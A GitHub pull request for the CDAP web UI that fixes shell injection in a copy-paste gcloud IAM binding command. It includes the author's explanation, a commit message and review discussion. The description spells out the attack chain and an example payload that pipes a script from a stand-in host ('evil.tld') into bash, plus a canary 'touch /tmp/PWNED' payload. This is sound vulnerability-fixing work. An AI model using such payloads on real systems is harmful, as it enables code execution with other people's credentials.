Skip to content

Fix shell injection in generated gcloud IAM binding command in Namespace Admin > Service Accounts - #1427

Open
herdiyana256 wants to merge 2 commits into
cdapio:developfrom
herdiyana256:fix-service-account-gcloud-command-injection
Open

Fix shell injection in generated gcloud IAM binding command in Namespace Admin > Service Accounts#1427
herdiyana256 wants to merge 2 commits into
cdapio:developfrom
herdiyana256:fix-service-account-gcloud-command-injection

Conversation

@herdiyana256

Copy link
Copy Markdown

Summary

components/NamespaceAdmin/ServiceAccounts/EditConfirmDialog.tsx's getGcloudCommand() builds a gcloud CLI command string meant to be copy-pasted by an operator into their terminal (there's a dedicated "copy to clipboard" button next to it):

const getGcloudCommand = ({
  k8sWorkloadIdentityPool = '${TENANT_PROJECT_ID}.svc.id.goog',
  identity = '${IDENTITY}',
  gsaEmail = '${GSA_EMAIL}',
  gsaProjectId = '${GSA_PROJECT_ID}',
  k8snamespace = 'default',
}) =>
  `gcloud iam service-accounts add-iam-policy-binding --role roles/iam.workloadIdentityUser --member "serviceAccount:${k8sWorkloadIdentityPool}[${k8snamespace}/${identity}]" ${gsaEmail} --project ${gsaProjectId}`;

gsaEmail comes straight from the namespace's stored "serviceAccount" value (serviceAccountInputValue, pre-filled from selectedServiceAcccount when editing an existing entry) with no quoting at all. The --member value is wrapped in double quotes, which don't protect against $()/backtick command substitution either.

On the backend (cdapio/cdap), GcpWorkloadIdentityHttpHandler#createIdentity (PUT /v3/namespaces/{ns}/credentials/workloadIdentity) persists this value with no format validation whatsoever -- it never calls validateIdentity (that only happens on the separate POST .../validate endpoint, which the create path doesn't require going through first). It only checks the caller has the namespace-scoped SET_SERVICE_ACCOUNT permission.

Chained: anyone with SET_SERVICE_ACCOUNT on a namespace stores a serviceAccount value containing shell metacharacters, e.g.:

x@x.iam.gserviceaccount.com; curl https://evil.tld/p.sh | bash #

A different, more privileged operator (e.g. someone with real gcloud/IAM-binding access) later opens Namespace Admin > Service Accounts > Edit for that namespace. The dialog pre-fills the stored value and live-generates the gcloud command from it as they view the dialog. They copy it to their terminal (the UI's own intended affordance) and run it -- the injected segment executes with their own shell/gcloud credentials.

Confirmed with real code, not just by reading the source: extracted the exact unpatched getGcloudCommand logic into a standalone script, fed it a gsaEmail containing ; touch /tmp/PWNED; echo done, and ran the resulting string with child_process.execSync (simulating pasting it into a terminal) -- /tmp/PWNED gets created.

Fix

Extracted the command-building logic into gcloudCommand.ts and added shellQuote(), a POSIX single-quote quoting function (' -> '\'', standard shell-safe quoting), applied to every interpolated value that can carry real, potentially attacker-supplied data (gsaEmail, identity, k8snamespace, k8sWorkloadIdentityPool, gsaProjectId). Values that fall back to their default ${ENV_VAR}-style placeholder text are deliberately left unquoted, since per the function's own existing doc comment that's meant to stay literal shell syntax so the operator's own shell can supply it as an environment variable when a parameter isn't available.

Verified the round-trip is both safe and lossless: quoted values pasted into a real shell (printf '%s' <quoted>) come back out byte-for-byte identical to the original input, for payloads including ;, $(), backticks, &&, and embedded single quotes.

Test plan

  • node -e "require('@babel/core').transform(...)" (project's actual @babel/core + TS/React presets): EditConfirmDialog.tsx, gcloudCommand.ts, and the test file all parse cleanly.
  • __tests__/gcloudCommand.test.ts (Jest): round-trips several payloads through a real shell via child_process.execSync and asserts they come back unexecuted and unmodified; confirms the previously-demonstrated injection payload no longer creates its canary file when the generated command is run; confirms unsupplied parameters keep their literal ${...} placeholder form (so the "supply via environment variable" behavior described in the function's doc comment still works).
  • Same node_modules limitation noted on Fix arbitrary code execution and predictable session tokens in /updateTheme #1425/Fix cross-user identity binding race in PROXY auth mode websocket setup #1426 (yarn install doesn't complete in the environment I used) -- ran the test suite through a fresh, isolated jest/@babel/preset-typescript install instead and confirmed all 4 tests pass. Happy to re-verify against the real Jest config if that's easier for a reviewer with the deps already installed.

Distinct root cause and code area from #1425 (RCE via /updateTheme) and #1426 (websocket PROXY-mode identity race) -- this one's in the Namespace Admin UI, not the server layer, and the exploit requires an admin to actually run the copied command rather than being a direct server-side bug.

…M binding command

EditConfirmDialog.tsx's getGcloudCommand() interpolated the namespace's
stored 'serviceAccount' value straight into a gcloud CLI command string
with no quoting, then offers it to the admin via a prominent 'copy to
clipboard' button meant to be pasted directly into a terminal.

server/../GcpWorkloadIdentityHttpHandler#createIdentity in cdapio/cdap
persists that 'serviceAccount' value with no format validation at all
(it never calls validateIdentity, unlike the separate /validate
endpoint) -- so any caller with the namespace-scoped
SET_SERVICE_ACCOUNT permission can store an arbitrary string there.

Chained: attacker stores a serviceAccount value containing shell
metacharacters -> a different, more privileged operator later opens
Namespace Admin > Service Accounts > Edit for that namespace, which
pre-fills the stored value and live-generates the gcloud command from
it -> copies it to their terminal and runs it -> the injected segment
executes with that operator's own shell/gcloud credentials.

Extracted the command-building logic into gcloudCommand.ts and added
shellQuote(), a POSIX single-quote quoting function, applied to every
interpolated value that can carry real (potentially attacker-supplied)
data. Values that fall back to their default '${ENV_VAR}' placeholder
text are left unquoted on purpose, since that's meant to stay literal
shell syntax so the admin's own shell can supply it as an environment
variable, per the function's existing doc comment.

Regression tests in __tests__/gcloudCommand.test.ts round-trip several
payloads (semicolon, command substitution, embedded quotes, &&) through
a real shell and confirm nothing beyond the intended argument executes.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request extracts the gcloud command generation logic into a separate utility file and introduces a shellQuote helper to secure the command against shell injection vulnerabilities, accompanied by new unit tests. The review feedback identifies a potential globbing issue in zsh due to unescaped square brackets in the generated command and provides suggestions to escape them and update the corresponding test assertions.

Comment thread app/cdap/components/NamespaceAdmin/ServiceAccounts/gcloudCommand.ts Outdated
k8snamespace: 'my-ns',
k8sWorkloadIdentityPool: 'my-pool',
});
expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']");

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Update the test assertion to expect the escaped brackets (\[ and \]) to match the updated command generation logic.

Suggested change
expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']");
expect(command).toContain("--member serviceAccount:'my-pool'\\\\['my-ns'/'my-identity'\\\\]");

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@herdiyana256 please update this

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in a70e917 — the assertion now expects the escaped brackets: --member serviceAccount:'my-pool'\['my-ns'/'my-identity']. Also added tests covering the bracket escaping, the discard-on-invalid-email behavior, and the isValidServiceAccountEmail validator.

Comment thread app/cdap/components/NamespaceAdmin/ServiceAccounts/gcloudCommand.ts Outdated
k8snamespace: 'my-ns',
k8sWorkloadIdentityPool: 'my-pool',
});
expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']");

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@herdiyana256 please update this

@GnsP

GnsP commented Aug 12, 2026

Copy link
Copy Markdown
Collaborator

This fix is correct.

Though, in this case the expectation is that the user should input a valid service account email in the input box. So, we should validate the gasEmail input against an email regex and discard everything else as invalid input.

…d command

Restrict the service account input to a well-formed email, discarding
anything else so it never reaches the generated command; invalid input
now disables save and shows an error. Escape the k8s namespace/identity
square brackets so zsh does not treat them as a globbing pattern when the
operator copy-pastes the command.
@herdiyana256

Copy link
Copy Markdown
Author

Addressed in a70e917:

  • Escaped the [/] around the k8s namespace/identity in the generated command (\[/\]) so zsh doesn't glob them, and updated the test assertion to match.
  • Added isValidServiceAccountEmail() (narrow charset regex, no spaces/quotes/;/$/backticks/parens). The gsaEmail is now discarded back to the literal ${GSA_EMAIL} placeholder unless it's a valid service account email, and the Edit dialog blocks save + shows an error for invalid input. The shell-quoting stays as defense in depth.

Added unit tests for the bracket escaping, the discard-on-invalid behavior, and the email validator (accepts real GSA emails, rejects metacharacter-carrying values).

@herdiyana256

herdiyana256 commented Aug 18, 2026

Copy link
Copy Markdown
Author

Hi @GnsP friendly ping on this one.

Your review feedback was addressed in a70e917 (the zsh globbing fix plus isValidServiceAccountEmail() validation on gsaEmail, as you suggested), but the PR still carries the earlier "changes requested" status, so it's blocked on a re-review rather than on anything outstanding from my side.

Whenever you have a moment, could you take another look? Happy to adjust further if the validation isn't strict enough for what you had in mind.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants